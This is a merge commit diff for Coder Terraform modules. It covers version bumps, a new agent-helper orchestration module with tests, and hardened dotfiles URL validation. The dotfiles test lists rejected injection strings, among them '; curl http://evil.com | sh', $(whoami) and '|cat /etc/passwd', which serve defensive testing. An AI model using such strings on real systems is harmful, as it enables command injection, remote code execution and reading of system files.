Merge origin/main into fix/dotfiles-fish-compatibility

Resolve conflicts:
- Bump version to 1.3.1 (combining 1.2.4 fish fix with 1.3.0 upstream)
- Combine /bin/bash -c fish wrapper with POST_CLONE_SCRIPT support in coder_app
This commit is contained in:
blink-so[bot] 2026-02-24 22:05:06 +00:00
commit 83696cf201
38 changed files with 830 additions and 112 deletions

View File

@ -13,7 +13,7 @@ Run Codex CLI in your workspace to access OpenAI's models through the Codex inte
```tf
module "codex" {
source = "registry.coder.com/coder-labs/codex/coder"
version = "4.1.0"
version = "4.1.1"
agent_id = coder_agent.example.id
openai_api_key = var.openai_api_key
workdir = "/home/coder/project"
@ -32,7 +32,7 @@ module "codex" {
module "codex" {
count = data.coder_workspace.me.start_count
source = "registry.coder.com/coder-labs/codex/coder"
version = "4.1.0"
version = "4.1.1"
agent_id = coder_agent.example.id
openai_api_key = "..."
workdir = "/home/coder/project"
@ -51,7 +51,7 @@ For tasks integration with AI Bridge, add `enable_aibridge = true` to the [Usage
```tf
module "codex" {
source = "registry.coder.com/coder-labs/codex/coder"
version = "4.1.0"
version = "4.1.1"
agent_id = coder_agent.example.id
workdir = "/home/coder/project"
enable_aibridge = true
@ -94,7 +94,7 @@ data "coder_task" "me" {}
module "codex" {
source = "registry.coder.com/coder-labs/codex/coder"
version = "4.1.0"
version = "4.1.1"
agent_id = coder_agent.example.id
openai_api_key = "..."
ai_prompt = data.coder_task.me.prompt
@ -112,7 +112,7 @@ This example shows additional configuration options for custom models, MCP serve
```tf
module "codex" {
source = "registry.coder.com/coder-labs/codex/coder"
version = "4.1.0"
version = "4.1.1"
agent_id = coder_agent.example.id
openai_api_key = "..."
workdir = "/home/coder/project"

View File

@ -131,7 +131,7 @@ variable "install_agentapi" {
variable "agentapi_version" {
type = string
description = "The version of AgentAPI to install."
default = "v0.11.6"
default = "v0.11.8"
}
variable "codex_model" {

View File

@ -10,8 +10,6 @@ tags: [nextflow, workflow, hpc, bioinformatics]
A module that adds Nextflow to your Coder template.
![Nextflow](../../.images/nextflow.png)
```tf
module "nextflow" {
count = data.coder_workspace.me.start_count

View File

@ -0,0 +1,65 @@
---
display_name: Agent Helper
description: Building block for modules that need orchestrated script execution
icon: ../../../../.icons/coder.svg
verified: false
tags: [internal, library]
---
# Agent Helper
> [!CAUTION]
> We do not recommend using this module directly. It is intended primarily for internal use by Coder to create modules with orchestrated script execution.
The Agent Helper module is a building block for modules that need to run multiple scripts in a specific order. It uses `coder exp sync` for dependency management and is designed for orchestrating pre-install, install, post-install, and start scripts.
> [!NOTE]
>
> - The `agent_name` should be the same as that of the agentapi module's `agent_name` if used together.
```tf
module "agent_helper" {
source = "registry.coder.com/coder/agent-helper/coder"
version = "1.0.0"
agent_id = coder_agent.main.id
agent_name = "myagent"
module_dir_name = ".my-module"
pre_install_script = <<-EOT
#!/bin/bash
echo "Running pre-install tasks..."
# Your pre-install logic here
EOT
install_script = <<-EOT
#!/bin/bash
echo "Installing dependencies..."
# Your install logic here
EOT
post_install_script = <<-EOT
#!/bin/bash
echo "Running post-install configuration..."
# Your post-install logic here
EOT
start_script = <<-EOT
#!/bin/bash
echo "Starting the application..."
# Your start logic here
EOT
}
```
## Execution Order
The module orchestrates scripts in the following order:
1. **Log File Creation** - Creates module directory and log files
2. **Pre-Install Script** (optional) - Runs before installation
3. **Install Script** - Main installation
4. **Post-Install Script** (optional) - Runs after installation
5. **Start Script** - Starts the application
Each script waits for its prerequisites to complete before running using `coder exp sync` dependency management.

View File

@ -0,0 +1,13 @@
import { describe } from "bun:test";
import { runTerraformInit, testRequiredVariables } from "~test";
describe("agent-helper", async () => {
await runTerraformInit(import.meta.dir);
testRequiredVariables(import.meta.dir, {
agent_id: "test-agent-id",
agent_name: "test-agent",
module_dir_name: ".test-module",
start_script: "echo 'start'",
});
});

View File

@ -0,0 +1,190 @@
terraform {
required_version = ">= 1.0"
required_providers {
coder = {
source = "coder/coder"
version = ">= 2.13"
}
}
}
variable "agent_id" {
type = string
description = "The ID of a Coder agent."
}
data "coder_workspace" "me" {}
data "coder_workspace_owner" "me" {}
data "coder_task" "me" {}
variable "pre_install_script" {
type = string
description = "Custom script to run before installing the agent used by AgentAPI."
default = null
}
variable "install_script" {
type = string
description = "Script to install the agent used by AgentAPI."
default = null
}
variable "post_install_script" {
type = string
description = "Custom script to run after installing the agent used by AgentAPI."
default = null
}
variable "start_script" {
type = string
description = "Script that starts AgentAPI."
}
variable "agent_name" {
type = string
description = "The name of the agent. This is used to construct unique script names for the experiment sync."
}
variable "module_dir_name" {
type = string
description = "The name of the module directory."
}
locals {
encoded_pre_install_script = var.pre_install_script != null ? base64encode(var.pre_install_script) : ""
encoded_install_script = var.install_script != null ? base64encode(var.install_script) : ""
encoded_post_install_script = var.post_install_script != null ? base64encode(var.post_install_script) : ""
encoded_start_script = base64encode(var.start_script)
pre_install_script_name = "${var.agent_name}-pre_install_script"
install_script_name = "${var.agent_name}-install_script"
post_install_script_name = "${var.agent_name}-post_install_script"
start_script_name = "${var.agent_name}-start_script"
module_dir_path = "$HOME/${var.module_dir_name}"
pre_install_path = "${local.module_dir_path}/pre_install.sh"
install_path = "${local.module_dir_path}/install.sh"
post_install_path = "${local.module_dir_path}/post_install.sh"
start_path = "${local.module_dir_path}/start.sh"
pre_install_log_path = "${local.module_dir_path}/pre_install.log"
install_log_path = "${local.module_dir_path}/install.log"
post_install_log_path = "${local.module_dir_path}/post_install.log"
start_log_path = "${local.module_dir_path}/start.log"
}
resource "coder_script" "pre_install_script" {
count = var.pre_install_script == null ? 0 : 1
agent_id = var.agent_id
display_name = "Pre-Install Script"
run_on_start = true
script = <<-EOT
#!/bin/bash
set -o errexit
set -o pipefail
mkdir -p ${local.module_dir_path}
trap 'coder exp sync complete ${local.pre_install_script_name}' EXIT
coder exp sync start ${local.pre_install_script_name}
echo -n '${local.encoded_pre_install_script}' | base64 -d > ${local.pre_install_path}
chmod +x ${local.pre_install_path}
${local.pre_install_path} > ${local.pre_install_log_path} 2>&1
EOT
}
resource "coder_script" "install_script" {
agent_id = var.agent_id
display_name = "Install Script"
run_on_start = true
script = <<-EOT
#!/bin/bash
set -o errexit
set -o pipefail
mkdir -p ${local.module_dir_path}
trap 'coder exp sync complete ${local.install_script_name}' EXIT
%{if var.pre_install_script != null~}
coder exp sync want ${local.install_script_name} ${local.pre_install_script_name}
%{endif~}
coder exp sync start ${local.install_script_name}
echo -n '${local.encoded_install_script}' | base64 -d > ${local.install_path}
chmod +x ${local.install_path}
${local.install_path} > ${local.install_log_path} 2>&1
EOT
}
resource "coder_script" "post_install_script" {
count = var.post_install_script != null ? 1 : 0
agent_id = var.agent_id
display_name = "Post-Install Script"
run_on_start = true
script = <<-EOT
#!/bin/bash
set -o errexit
set -o pipefail
trap 'coder exp sync complete ${local.post_install_script_name}' EXIT
coder exp sync want ${local.post_install_script_name} ${local.install_script_name}
coder exp sync start ${local.post_install_script_name}
echo -n '${local.encoded_post_install_script}' | base64 -d > ${local.post_install_path}
chmod +x ${local.post_install_path}
${local.post_install_path} > ${local.post_install_log_path} 2>&1
EOT
}
resource "coder_script" "start_script" {
agent_id = var.agent_id
display_name = "Start Script"
run_on_start = true
script = <<-EOT
#!/bin/bash
set -o errexit
set -o pipefail
trap 'coder exp sync complete ${local.start_script_name}' EXIT
%{if var.post_install_script != null~}
coder exp sync want ${local.start_script_name} ${local.install_script_name} ${local.post_install_script_name}
%{else~}
coder exp sync want ${local.start_script_name} ${local.install_script_name}
%{endif~}
coder exp sync start ${local.start_script_name}
echo -n '${local.encoded_start_script}' | base64 -d > ${local.start_path}
chmod +x ${local.start_path}
${local.start_path} > ${local.start_log_path} 2>&1
EOT
}
output "pre_install_script_name" {
description = "The name of the pre-install script for sync."
value = local.pre_install_script_name
}
output "install_script_name" {
description = "The name of the install script for sync."
value = local.install_script_name
}
output "post_install_script_name" {
description = "The name of the post-install script for sync."
value = local.post_install_script_name
}
output "start_script_name" {
description = "The name of the start script for sync."
value = local.start_script_name
}

View File

@ -0,0 +1,271 @@
# Test for agent-helper module
# Test with all scripts provided
run "test_with_all_scripts" {
command = plan
variables {
agent_id = "test-agent-id"
agent_name = "test-agent"
module_dir_name = ".test-module"
pre_install_script = "echo 'pre-install'"
install_script = "echo 'install'"
post_install_script = "echo 'post-install'"
start_script = "echo 'start'"
}
# Verify pre_install_script is created when provided
assert {
condition = length(coder_script.pre_install_script) == 1
error_message = "Pre-install script should be created when pre_install_script is provided"
}
assert {
condition = coder_script.pre_install_script[0].agent_id == "test-agent-id"
error_message = "Pre-install script agent ID should match input"
}
assert {
condition = coder_script.pre_install_script[0].display_name == "Pre-Install Script"
error_message = "Pre-install script should have correct display name"
}
assert {
condition = coder_script.pre_install_script[0].run_on_start == true
error_message = "Pre-install script should run on start"
}
# Verify install_script is created
assert {
condition = coder_script.install_script.agent_id == "test-agent-id"
error_message = "Install script agent ID should match input"
}
assert {
condition = coder_script.install_script.display_name == "Install Script"
error_message = "Install script should have correct display name"
}
assert {
condition = coder_script.install_script.run_on_start == true
error_message = "Install script should run on start"
}
# Verify post_install_script is created when provided
assert {
condition = length(coder_script.post_install_script) == 1
error_message = "Post-install script should be created when post_install_script is provided"
}
assert {
condition = coder_script.post_install_script[0].agent_id == "test-agent-id"
error_message = "Post-install script agent ID should match input"
}
assert {
condition = coder_script.post_install_script[0].display_name == "Post-Install Script"
error_message = "Post-install script should have correct display name"
}
assert {
condition = coder_script.post_install_script[0].run_on_start == true
error_message = "Post-install script should run on start"
}
# Verify start_script is created
assert {
condition = coder_script.start_script.agent_id == "test-agent-id"
error_message = "Start script agent ID should match input"
}
assert {
condition = coder_script.start_script.display_name == "Start Script"
error_message = "Start script should have correct display name"
}
assert {
condition = coder_script.start_script.run_on_start == true
error_message = "Start script should run on start"
}
# Verify outputs for script names
assert {
condition = output.pre_install_script_name == "test-agent-pre_install_script"
error_message = "Pre-install script name output should be correctly formatted"
}
assert {
condition = output.install_script_name == "test-agent-install_script"
error_message = "Install script name output should be correctly formatted"
}
assert {
condition = output.post_install_script_name == "test-agent-post_install_script"
error_message = "Post-install script name output should be correctly formatted"
}
assert {
condition = output.start_script_name == "test-agent-start_script"
error_message = "Start script name output should be correctly formatted"
}
}
# Test with only required scripts (no pre/post install)
run "test_without_optional_scripts" {
command = plan
variables {
agent_id = "test-agent-id"
agent_name = "test-agent"
module_dir_name = ".test-module"
install_script = "echo 'install'"
start_script = "echo 'start'"
}
# Verify pre_install_script is NOT created when not provided
assert {
condition = length(coder_script.pre_install_script) == 0
error_message = "Pre-install script should not be created when pre_install_script is null"
}
# Verify post_install_script is NOT created when not provided
assert {
condition = length(coder_script.post_install_script) == 0
error_message = "Post-install script should not be created when post_install_script is null"
}
# Verify required scripts are still created
assert {
condition = coder_script.install_script.agent_id == "test-agent-id"
error_message = "Install script should be created"
}
assert {
condition = coder_script.start_script.agent_id == "test-agent-id"
error_message = "Start script should be created"
}
# Verify outputs
assert {
condition = output.pre_install_script_name == "test-agent-pre_install_script"
error_message = "Pre-install script name output should be generated even when script is not created"
}
assert {
condition = output.install_script_name == "test-agent-install_script"
error_message = "Install script name output should be correctly formatted"
}
assert {
condition = output.post_install_script_name == "test-agent-post_install_script"
error_message = "Post-install script name output should be generated even when script is not created"
}
assert {
condition = output.start_script_name == "test-agent-start_script"
error_message = "Start script name output should be correctly formatted"
}
}
# Test with mock data sources
run "test_with_mock_data" {
command = plan
variables {
agent_id = "mock-agent"
agent_name = "mock-agent"
module_dir_name = ".mock-module"
install_script = "echo 'install'"
start_script = "echo 'start'"
}
# Mock the data sources for testing
override_data {
target = data.coder_workspace.me
values = {
id = "test-workspace-id"
name = "test-workspace"
owner = "test-owner"
owner_id = "test-owner-id"
template_id = "test-template-id"
template_name = "test-template"
access_url = "https://coder.example.com"
start_count = 1
transition = "start"
}
}
override_data {
target = data.coder_workspace_owner.me
values = {
id = "test-owner-id"
email = "test@example.com"
name = "Test User"
session_token = "mock-token"
}
}
override_data {
target = data.coder_task.me
values = {
id = "test-task-id"
}
}
# Verify scripts are created with mocked data
assert {
condition = coder_script.install_script.agent_id == "mock-agent"
error_message = "Install script should use the mocked agent ID"
}
assert {
condition = coder_script.start_script.agent_id == "mock-agent"
error_message = "Start script should use the mocked agent ID"
}
}
# Test script naming with custom agent_name
run "test_script_naming" {
command = plan
variables {
agent_id = "test-agent"
agent_name = "custom-name"
module_dir_name = ".test-module"
install_script = "echo 'install'"
start_script = "echo 'start'"
}
# Verify script names are constructed correctly
# The script should contain references to custom-name-* in the sync commands
assert {
condition = can(regex("custom-name-install_script", coder_script.install_script.script))
error_message = "Install script should use custom agent_name in sync commands"
}
assert {
condition = can(regex("custom-name-start_script", coder_script.start_script.script))
error_message = "Start script should use custom agent_name in sync commands"
}
# Verify outputs use custom agent_name
assert {
condition = output.pre_install_script_name == "custom-name-pre_install_script"
error_message = "Pre-install script name output should use custom agent_name"
}
assert {
condition = output.install_script_name == "custom-name-install_script"
error_message = "Install script name output should use custom agent_name"
}
assert {
condition = output.post_install_script_name == "custom-name-post_install_script"
error_message = "Post-install script name output should use custom agent_name"
}
assert {
condition = output.start_script_name == "custom-name-start_script"
error_message = "Start script name output should use custom agent_name"
}
}

View File

@ -16,7 +16,7 @@ The AgentAPI module is a building block for modules that need to run an AgentAPI
```tf
module "agentapi" {
source = "registry.coder.com/coder/agentapi/coder"
version = "2.1.0"
version = "2.1.1"
agent_id = var.agent_id
web_app_slug = local.app_slug

View File

@ -3,20 +3,22 @@ set -o errexit
set -o pipefail
port=${1:-3284}
max_attempts=150
# This script waits for the agentapi server to start on port 3284.
# This script waits for the agentapi server to start on the given port.
# Each attempt sleeps 0.1s, so 150 attempts ≈ 15 seconds.
# It considers the server started after 3 consecutive successful responses.
agentapi_started=false
echo "Waiting for agentapi server to start on port $port..."
for i in $(seq 1 150); do
for i in $(seq 1 "$max_attempts"); do
for j in $(seq 1 3); do
sleep 0.1
if curl -fs -o /dev/null "http://localhost:$port/status"; then
echo "agentapi response received ($j/3)"
else
echo "agentapi server not responding ($i/15)"
echo "agentapi server not responding ($i/$max_attempts)"
continue 2
fi
done
@ -25,7 +27,7 @@ for i in $(seq 1 150); do
done
if [ "$agentapi_started" != "true" ]; then
echo "Error: agentapi server did not start on port $port after 15 seconds."
echo "Error: agentapi server did not start on port $port after $max_attempts attempts."
exit 1
fi

View File

@ -16,7 +16,7 @@ Uses the [Coder Remote VS Code Extension](https://github.com/coder/vscode-coder)
module "antigravity" {
count = data.coder_workspace.me.start_count
source = "registry.coder.com/coder/antigravity/coder"
version = "1.0.0"
version = "1.0.1"
agent_id = coder_agent.example.id
}
```
@ -29,7 +29,7 @@ module "antigravity" {
module "antigravity" {
count = data.coder_workspace.me.start_count
source = "registry.coder.com/coder/antigravity/coder"
version = "1.0.0"
version = "1.0.1"
agent_id = coder_agent.example.id
folder = "/home/coder/project"
}
@ -45,7 +45,7 @@ The following example configures Antigravity to use the GitHub MCP server with a
module "antigravity" {
count = data.coder_workspace.me.start_count
source = "registry.coder.com/coder/antigravity/coder"
version = "1.0.0"
version = "1.0.1"
agent_id = coder_agent.example.id
folder = "/home/coder/project"
mcp = jsonencode({

View File

@ -66,15 +66,15 @@ locals {
module "vscode-desktop-core" {
source = "registry.coder.com/coder/vscode-desktop-core/coder"
version = "1.0.1"
version = "1.0.2"
agent_id = var.agent_id
web_app_icon = "/icon/antigravity.svg"
web_app_slug = var.slug
web_app_display_name = var.display_name
web_app_order = var.order
web_app_group = var.group
coder_app_icon = "/icon/antigravity.svg"
coder_app_slug = var.slug
coder_app_display_name = var.display_name
coder_app_order = var.order
coder_app_group = var.group
folder = var.folder
open_recent = var.open_recent

View File

@ -12,7 +12,8 @@ ARG_CLAUDE_CODE_VERSION=${ARG_CLAUDE_CODE_VERSION:-}
ARG_WORKDIR=${ARG_WORKDIR:-"$HOME"}
ARG_INSTALL_CLAUDE_CODE=${ARG_INSTALL_CLAUDE_CODE:-}
ARG_CLAUDE_BINARY_PATH=${ARG_CLAUDE_BINARY_PATH:-"$HOME/.local/bin"}
ARG_CLAUDE_BINARY_PATH=$(eval echo "$ARG_CLAUDE_BINARY_PATH")
ARG_CLAUDE_BINARY_PATH="${ARG_CLAUDE_BINARY_PATH/#\~/$HOME}"
ARG_CLAUDE_BINARY_PATH="${ARG_CLAUDE_BINARY_PATH//\$HOME/$HOME}"
ARG_INSTALL_VIA_NPM=${ARG_INSTALL_VIA_NPM:-false}
ARG_REPORT_TASKS=${ARG_REPORT_TASKS:-true}
ARG_MCP_APP_STATUS_SLUG=${ARG_MCP_APP_STATUS_SLUG:-}

View File

@ -3,7 +3,8 @@
set -euo pipefail
ARG_CLAUDE_BINARY_PATH=${ARG_CLAUDE_BINARY_PATH:-"$HOME/.local/bin"}
ARG_CLAUDE_BINARY_PATH=$(eval echo "$ARG_CLAUDE_BINARY_PATH")
ARG_CLAUDE_BINARY_PATH="${ARG_CLAUDE_BINARY_PATH/#\~/$HOME}"
ARG_CLAUDE_BINARY_PATH="${ARG_CLAUDE_BINARY_PATH//\$HOME/$HOME}"
export PATH="$ARG_CLAUDE_BINARY_PATH:$PATH"

View File

@ -16,7 +16,7 @@ Uses the [Coder Remote VS Code Extension](https://github.com/coder/vscode-coder)
module "cursor" {
count = data.coder_workspace.me.start_count
source = "registry.coder.com/coder/cursor/coder"
version = "1.4.0"
version = "1.4.1"
agent_id = coder_agent.main.id
}
```
@ -29,7 +29,7 @@ module "cursor" {
module "cursor" {
count = data.coder_workspace.me.start_count
source = "registry.coder.com/coder/cursor/coder"
version = "1.4.0"
version = "1.4.1"
agent_id = coder_agent.main.id
folder = "/home/coder/project"
}
@ -45,7 +45,7 @@ The following example configures Cursor to use the GitHub MCP server with authen
module "cursor" {
count = data.coder_workspace.me.start_count
source = "registry.coder.com/coder/cursor/coder"
version = "1.4.0"
version = "1.4.1"
agent_id = coder_agent.main.id
folder = "/home/coder/project"
mcp = jsonencode({

View File

@ -66,7 +66,7 @@ locals {
module "vscode-desktop-core" {
source = "registry.coder.com/coder/vscode-desktop-core/coder"
version = "1.0.0"
version = "1.0.2"
agent_id = var.agent_id

View File

@ -18,7 +18,7 @@ Under the hood, this module uses the [coder dotfiles](https://coder.com/docs/v2/
module "dotfiles" {
count = data.coder_workspace.me.start_count
source = "registry.coder.com/coder/dotfiles/coder"
version = "1.2.4"
version = "1.3.1"
agent_id = coder_agent.example.id
}
```
@ -31,7 +31,7 @@ module "dotfiles" {
module "dotfiles" {
count = data.coder_workspace.me.start_count
source = "registry.coder.com/coder/dotfiles/coder"
version = "1.2.4"
version = "1.3.1"
agent_id = coder_agent.example.id
}
```
@ -42,7 +42,7 @@ module "dotfiles" {
module "dotfiles" {
count = data.coder_workspace.me.start_count
source = "registry.coder.com/coder/dotfiles/coder"
version = "1.2.4"
version = "1.3.1"
agent_id = coder_agent.example.id
user = "root"
}
@ -54,14 +54,14 @@ module "dotfiles" {
module "dotfiles" {
count = data.coder_workspace.me.start_count
source = "registry.coder.com/coder/dotfiles/coder"
version = "1.2.4"
version = "1.3.1"
agent_id = coder_agent.example.id
}
module "dotfiles-root" {
count = data.coder_workspace.me.start_count
source = "registry.coder.com/coder/dotfiles/coder"
version = "1.2.4"
version = "1.3.1"
agent_id = coder_agent.example.id
user = "root"
dotfiles_uri = module.dotfiles.dotfiles_uri
@ -76,7 +76,7 @@ You can set a default dotfiles repository for all users by setting the `default_
module "dotfiles" {
count = data.coder_workspace.me.start_count
source = "registry.coder.com/coder/dotfiles/coder"
version = "1.2.4"
version = "1.3.1"
agent_id = coder_agent.example.id
default_dotfiles_uri = "https://github.com/coder/dotfiles"
}

View File

@ -12,20 +12,47 @@ describe("dotfiles", async () => {
agent_id: "foo",
});
it("default output", async () => {
it("default output is empty string", async () => {
const state = await runTerraformApply(import.meta.dir, {
agent_id: "foo",
});
expect(state.outputs.dotfiles_uri.value).toBe("");
});
it("set a default dotfiles_uri", async () => {
const default_dotfiles_uri = "foo";
it("accepts valid git URL formats", async () => {
const validUrls = [
"https://github.com/coder/dotfiles",
"https://github.com/coder/dotfiles.git",
"git@github.com:coder/dotfiles.git",
"git://github.com/coder/dotfiles.git",
"ssh://git@github.com/coder/dotfiles.git",
];
for (const url of validUrls) {
const state = await runTerraformApply(import.meta.dir, {
agent_id: "foo",
default_dotfiles_uri,
dotfiles_uri: url,
});
expect(state.outputs.dotfiles_uri.value).toBe(default_dotfiles_uri);
expect(state.outputs.dotfiles_uri.value).toBe(url);
}
});
it("rejects invalid or malicious URLs", async () => {
const invalidUrls = [
"https://github.com/user/repo; curl http://evil.com | sh",
"https://github.com/$(whoami)/repo",
"https://github.com/`id`/repo",
"https://github.com/user/repo|cat /etc/passwd",
"file:///etc/passwd",
"not-a-valid-url",
];
for (const url of invalidUrls) {
await expect(
runTerraformApply(import.meta.dir, {
agent_id: "foo",
dotfiles_uri: url,
}),
).rejects.toThrow();
}
});
it("command uses bash for fish shell compatibility", async () => {

View File

@ -36,19 +36,40 @@ variable "default_dotfiles_uri" {
type = string
description = "The default dotfiles URI if the workspace user does not provide one"
default = ""
validation {
condition = (
var.default_dotfiles_uri == "" ||
can(regex("^(https?://|ssh://|git@|git://)[a-zA-Z0-9._/:@-]+$", var.default_dotfiles_uri))
)
error_message = "Must be a valid dotfiles repository URL (https, git@, or git://) without special characters."
}
}
variable "dotfiles_uri" {
type = string
description = "The URL to a dotfiles repository. (optional, when set, the user isn't prompted for their dotfiles)"
default = null
validation {
condition = (
var.dotfiles_uri == null ||
var.dotfiles_uri == "" ||
can(regex("^(https?://|ssh://|git@|git://)[a-zA-Z0-9._/:@-]+$", var.dotfiles_uri))
)
error_message = "Must be a valid dotfiles repository URL (https, git@, or git://) without special characters."
}
}
variable "user" {
type = string
description = "The name of the user to apply the dotfiles to. (optional, applies to the current user by default)"
default = null
validation {
condition = var.user == null || can(regex("^[a-zA-Z_][a-zA-Z0-9_-]*$", var.user))
error_message = "Must be a valid username without special characters."
}
}
variable "coder_parameter_order" {
@ -63,6 +84,12 @@ variable "manual_update" {
default = false
}
variable "post_clone_script" {
description = "Custom script to run after applying dotfiles. Runs every time, even if dotfiles were already applied."
type = string
default = null
}
data "coder_parameter" "dotfiles_uri" {
count = var.dotfiles_uri == null ? 1 : 0
type = "string"
@ -73,18 +100,25 @@ data "coder_parameter" "dotfiles_uri" {
description = var.description
mutable = true
icon = "/icon/dotfiles.svg"
validation {
regex = "^$|^(https?://|ssh://|git@|git://)[a-zA-Z0-9._/:@-]+$"
error = "Must be a valid dotfiles repository URL (https, git@, or git://) without special characters."
}
}
locals {
dotfiles_uri = var.dotfiles_uri != null ? var.dotfiles_uri : data.coder_parameter.dotfiles_uri[0].value
user = var.user != null ? var.user : ""
encoded_post_clone_script = var.post_clone_script != null ? base64encode(var.post_clone_script) : ""
}
resource "coder_script" "dotfiles" {
agent_id = var.agent_id
script = templatefile("${path.module}/run.sh", {
DOTFILES_URI : local.dotfiles_uri,
DOTFILES_USER : local.user
DOTFILES_USER : local.user,
POST_CLONE_SCRIPT : local.encoded_post_clone_script
})
display_name = "Dotfiles"
icon = "/icon/dotfiles.svg"
@ -101,7 +135,8 @@ resource "coder_app" "dotfiles" {
group = var.group
command = "/bin/bash -c \"$(echo ${base64encode(templatefile("${path.module}/run.sh", {
DOTFILES_URI : local.dotfiles_uri,
DOTFILES_USER : local.user
DOTFILES_USER : local.user,
POST_CLONE_SCRIPT : local.encoded_post_clone_script
}))} | base64 -d)\""
}

View File

@ -5,6 +5,19 @@ set -euo pipefail
DOTFILES_URI="${DOTFILES_URI}"
DOTFILES_USER="${DOTFILES_USER}"
# Validate DOTFILES_URI to prevent command injection (defense in depth)
if [ -n "$DOTFILES_URI" ]; then
# shellcheck disable=SC2250
if [[ "$DOTFILES_URI" =~ [^a-zA-Z0-9._/:@-] ]]; then
echo "ERROR: DOTFILES_URI contains invalid characters" >&2
exit 1
fi
if ! [[ "$DOTFILES_URI" =~ ^(https?://|ssh://|git@|git://) ]]; then
echo "ERROR: DOTFILES_URI must be a valid repository URL (https://, http://, ssh://, git@, or git://)" >&2
exit 1
fi
fi
# shellcheck disable=SC2157
if [ -n "$${DOTFILES_URI// }" ]; then
if [ -z "$DOTFILES_USER" ]; then
@ -16,12 +29,28 @@ if [ -n "$${DOTFILES_URI// }" ]; then
if [ "$DOTFILES_USER" = "$USER" ]; then
coder dotfiles "$DOTFILES_URI" -y 2>&1 | tee ~/.dotfiles.log
else
# The `eval echo ~"$DOTFILES_USER"` part is used to dynamically get the home directory of the user, see https://superuser.com/a/484280
# eval echo ~coder -> "/home/coder"
# eval echo ~root -> "/root"
if command -v getent > /dev/null 2>&1; then
DOTFILES_USER_HOME=$(getent passwd "$DOTFILES_USER" | cut -d: -f6)
else
DOTFILES_USER_HOME=$(awk -F: -v user="$DOTFILES_USER" '$1 == user {print $6}' /etc/passwd)
fi
if [ -z "$DOTFILES_USER_HOME" ]; then
echo "ERROR: Could not determine home directory for user $DOTFILES_USER" >&2
exit 1
fi
CODER_BIN=$(which coder)
DOTFILES_USER_HOME=$(eval echo ~"$DOTFILES_USER")
sudo -u "$DOTFILES_USER" sh -c "'$CODER_BIN' dotfiles '$DOTFILES_URI' -y 2>&1 | tee '$DOTFILES_USER_HOME'/.dotfiles.log"
CODER_BIN=$(command -v coder)
sudo -u "$DOTFILES_USER" "$CODER_BIN" dotfiles "$DOTFILES_URI" -y 2>&1 | tee "$DOTFILES_USER_HOME/.dotfiles.log"
fi
fi
POST_CLONE_SCRIPT="${POST_CLONE_SCRIPT}"
if [ -n "$POST_CLONE_SCRIPT" ]; then
echo "Running post-clone script..."
POST_CLONE_TMP=$(mktemp)
echo "$POST_CLONE_SCRIPT" | base64 -d > "$POST_CLONE_TMP"
chmod +x "$POST_CLONE_TMP"
$POST_CLONE_TMP
rm "$POST_CLONE_TMP"
fi

View File

@ -42,7 +42,7 @@ module "jetbrains" {
version = "1.3.0"
agent_id = coder_agent.main.id
folder = "/home/coder/project"
default = ["PY", "IU"] # Pre-configure GoLand and IntelliJ IDEA
default = ["PY", "IU"] # Pre-configure PyCharm and IntelliJ IDEA
}
```

View File

@ -14,7 +14,7 @@ Automatically install [KasmVNC](https://kasmweb.com/kasmvnc) in a workspace, and
module "kasmvnc" {
count = data.coder_workspace.me.start_count
source = "registry.coder.com/coder/kasmvnc/coder"
version = "1.2.7"
version = "1.3.0"
agent_id = coder_agent.example.id
desktop_environment = "xfce"
subdomain = true

View File

@ -54,6 +54,15 @@ variable "subdomain" {
description = "Is subdomain sharing enabled in your cluster?"
}
variable "share" {
type = string
default = "owner"
validation {
condition = var.share == "owner" || var.share == "authenticated" || var.share == "public"
error_message = "Incorrect value. Please set either 'owner', 'authenticated', or 'public'."
}
}
resource "coder_script" "kasm_vnc" {
agent_id = var.agent_id
display_name = "KasmVNC"
@ -75,7 +84,7 @@ resource "coder_app" "kasm_vnc" {
url = "http://localhost:${var.port}"
icon = "/icon/kasmvnc.svg"
subdomain = var.subdomain
share = "owner"
share = var.share
order = var.order
group = var.group

View File

@ -18,7 +18,7 @@ Uses the [Coder Remote VS Code Extension](https://github.com/coder/vscode-coder)
module "kiro" {
count = data.coder_workspace.me.start_count
source = "registry.coder.com/coder/kiro/coder"
version = "1.2.0"
version = "1.2.1"
agent_id = coder_agent.main.id
}
```
@ -31,7 +31,7 @@ module "kiro" {
module "kiro" {
count = data.coder_workspace.me.start_count
source = "registry.coder.com/coder/kiro/coder"
version = "1.2.0"
version = "1.2.1"
agent_id = coder_agent.main.id
folder = "/home/coder/project"
}
@ -47,7 +47,7 @@ The following example configures Kiro to use the GitHub MCP server with authenti
module "kiro" {
count = data.coder_workspace.me.start_count
source = "registry.coder.com/coder/kiro/coder"
version = "1.2.0"
version = "1.2.1"
agent_id = coder_agent.main.id
folder = "/home/coder/project"
mcp = jsonencode({

View File

@ -53,7 +53,7 @@ locals {
module "vscode-desktop-core" {
source = "registry.coder.com/coder/vscode-desktop-core/coder"
version = "1.0.0"
version = "1.0.2"
agent_id = var.agent_id

View File

@ -14,7 +14,7 @@ Automatically install and run [Mux](https://github.com/coder/mux) in a Coder wor
module "mux" {
count = data.coder_workspace.me.start_count
source = "registry.coder.com/coder/mux/coder"
version = "1.0.8"
version = "1.1.0"
agent_id = coder_agent.main.id
}
```
@ -37,7 +37,7 @@ module "mux" {
module "mux" {
count = data.coder_workspace.me.start_count
source = "registry.coder.com/coder/mux/coder"
version = "1.0.8"
version = "1.1.0"
agent_id = coder_agent.main.id
}
```
@ -48,7 +48,7 @@ module "mux" {
module "mux" {
count = data.coder_workspace.me.start_count
source = "registry.coder.com/coder/mux/coder"
version = "1.0.8"
version = "1.1.0"
agent_id = coder_agent.main.id
# Default is "latest"; set to a specific version to pin
install_version = "0.4.0"
@ -63,7 +63,7 @@ Start Mux with `mux server --add-project /path/to/project`:
module "mux" {
count = data.coder_workspace.me.start_count
source = "registry.coder.com/coder/mux/coder"
version = "1.0.8"
version = "1.1.0"
agent_id = coder_agent.main.id
add-project = "/path/to/project"
}
@ -75,7 +75,7 @@ module "mux" {
module "mux" {
count = data.coder_workspace.me.start_count
source = "registry.coder.com/coder/mux/coder"
version = "1.0.8"
version = "1.1.0"
agent_id = coder_agent.main.id
port = 8080
}
@ -89,7 +89,7 @@ Run an existing copy of Mux if found, otherwise install from npm:
module "mux" {
count = data.coder_workspace.me.start_count
source = "registry.coder.com/coder/mux/coder"
version = "1.0.8"
version = "1.1.0"
agent_id = coder_agent.main.id
use_cached = true
}
@ -103,7 +103,7 @@ Run without installing from the network (requires Mux to be pre-installed):
module "mux" {
count = data.coder_workspace.me.start_count
source = "registry.coder.com/coder/mux/coder"
